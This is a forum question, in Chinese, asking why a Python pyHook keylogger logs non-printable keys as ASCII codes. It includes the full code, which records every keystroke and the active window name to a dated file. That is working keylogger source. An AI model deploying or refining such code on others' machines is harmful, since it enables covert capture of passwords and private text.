我无法让我的本地机器键盘记录器打印输出。它打印开放的应用程序/网站,但我能得到的最好的字母是它们的ascii等价物
import pyHook, pythoncom
from datetime import datetime
todays_date = datetime.now().strftime('%Y-%b-%d')
file_name = todays_date + '.txt'
line_buffer = ""
window_name = ""
def SaveLineToFile(line):
todays_file = open(file_name, 'a')
todays_file.write(line)
todays_file.close()
def OnKeyboardEvent(event):
global line_buffer
global window_name
if(window_name != event.WindowName):
if(line_buffer != ""):
line_buffer += '\n'
SaveLineToFile(line_buffer)
line_buffer = ""
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n')
window_name = event.WindowName
if(event.Ascii == 13 or event.Ascii == 9):
line_buffer += '\n'
SaveLineToFile(line_buffer)
line_buffer = ""
return True
if(event.Ascii == 8):
line_buffer = line_buffer[:-1]
return True
if(event.Ascii < 32 or event.Ascii > 126):
if(event.Ascii == 0):
pass
else:
line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
else:
line_buffer += chr(event.Ascii)
return True
SaveLineToFile(line_buffer)
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
我想让它在击键发生时将其打印到文件中,在使用退格键时删除击键,并打印出发生此情况的应用程序/网站
目前没有回答
相关问题 更多 >
编程相关推荐